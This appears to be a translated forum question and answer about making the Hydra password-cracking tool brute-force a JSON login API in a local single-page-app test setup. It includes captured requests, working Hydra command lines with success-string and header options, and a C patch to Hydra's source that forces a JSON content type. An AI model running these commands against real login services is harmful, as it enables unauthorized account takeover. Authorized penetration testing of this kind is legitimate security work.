我遇到了 Hydra 和 JSON 有效负载的问题。
登录请求(被 Fiddler 拦截)如下:
POST http://architectureservice.test.com/api/v1/login HTTP/1.1
Host: architectureservice.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Referer: http://architectureclient.test.com/
Content-Length: 51
Origin: http://architectureclient.test.com
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
{"username":"tester","password":"test"}
响应,在密码错误的情况下实际上是空的,因为它是一个单页应用程序。服务器将改为返回 404(未找到)或 405 错误代码。如果凭据正确,它将继续返回 200 页。
如您所见,请求从客户端流向服务。服务上其实是没有表单的,它接受客户端填写的参数(这都是在我的本地机器上,改编了HOSTS文件)。当凭据正确时,将创建一个cookie(这是第一个cookie,登录前没有会话cookie或其他东西)。
现在,凭据以 JSON 格式传递。我的 Hydra 命令如下所示:
hydra -L "users.txt" -P "passwords.txt" -s 80 architectureservice.test.com http-post-form "/api/v1/login:{'username'\:'^USER^','password'\:'^PASS^'}:NOT FOUND"
但是,这将返回所有密码都是有效的。是否可以将 Hydra 与 JSON 格式和单页应用程序一起使用?
更新 感谢 Iserni 的回答,我能够构建以下命令:
hydra -v -V -L "users.txt" -P "passwords.txt" -s 80 architectureservice.test.com http-post-form "/api/v1/login:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:changeFirstName:H=Accept: application/json, text/plain, */*:H=Accept-Language: en-US,en;q=0.5:H=Accept-Encoding: gzip, deflate:H=Referer: http\://architectureclient.test.com/:H=Origin: http\://architectureclient.test.com:H=Connection: keep-alive"
注意:请注意,不必在 Header 值中转义冒号。事实上,这会破坏命令,所以你不能在那里转义冒号。
我用 Wireshark 截获了这个请求,除了 JSON 有效负载外,它看起来与用 Firefox 发出的请求完全相同。Hydra 创建了一个“x-www-form-urlencoded”主体。如果我尝试使用 Firefox 请求(被 fiddler 拦截)以这种方式对其进行编码,则会出现“未找到”错误。所以我确实需要能够创建一个 JSON 内容类型。这对 Hydra 可行吗?
为了澄清事情,这里是 Wireshark 捕获的屏幕截图: 除了 Content-Type 标头和正文有效负载(来自 Firefox,它是 JSON)之外,一切都与从 Firefox 发出请求时完全相同。
更新:解决方案
hydra -v -V -L "users.txt" -P "passwords.txt" -s 80 architectureservice.tester.com http-post-form "/api/v1/login:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:S=firstName:H=Accept: application/json, text/plain, */*:H=Accept-Language: en-US,en;q=0.5:H=Accept-Encoding: gzip, deflate:H=Referer: http\://architectureclient.tester.com/:H=Origin: http\://architectureclient.tester.com:H=Connection: keep-alive"
S=: I used this because in case of a failure, we get an empty response. The S= can be used to tell Hydra what comes back in case of a valid response. (We send back the firstName in case of a success)
H=: I noticed that Hydra understands that in a header, there will always be a colon. So you do not need to escape colons in headers. In other places, you do.
如果您按以下方式调整 Hydra 的源代码(对于 Hydra 7.6),上述命令有效: 在 hydra-http-form.c 的第 327 行附近:
if (strcmp(type, "POST") == 0) {
sprintf(buffer,
"POST %.600s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Hydra)\r\nContent-Type: application/json\r\nContent-Length: %d\r\n%s%s\r\n%s",
url, webtarget, (int) strlen(upd3variables), header, cuserheader, upd3variables);
if (hydra_send(s, buffer, strlen(buffer), 0) < 0) {
return 1;
如您所见,我采用了最丑陋的解决方案(将硬编码的标头值从“x-www-form-urlencoded”切换为“json”。Iserni(见下面的答案)提出了一种更好的方法,但我遇到了一些语法错误并决定只是硬编码 json 值。此外,Content-Type 在 hydra-http-form.c 文件中的多个位置被硬编码,请根据您的情况在必要时进行更改。
现在,您可以使用 Hydra 暴力破解 json Web 应用程序。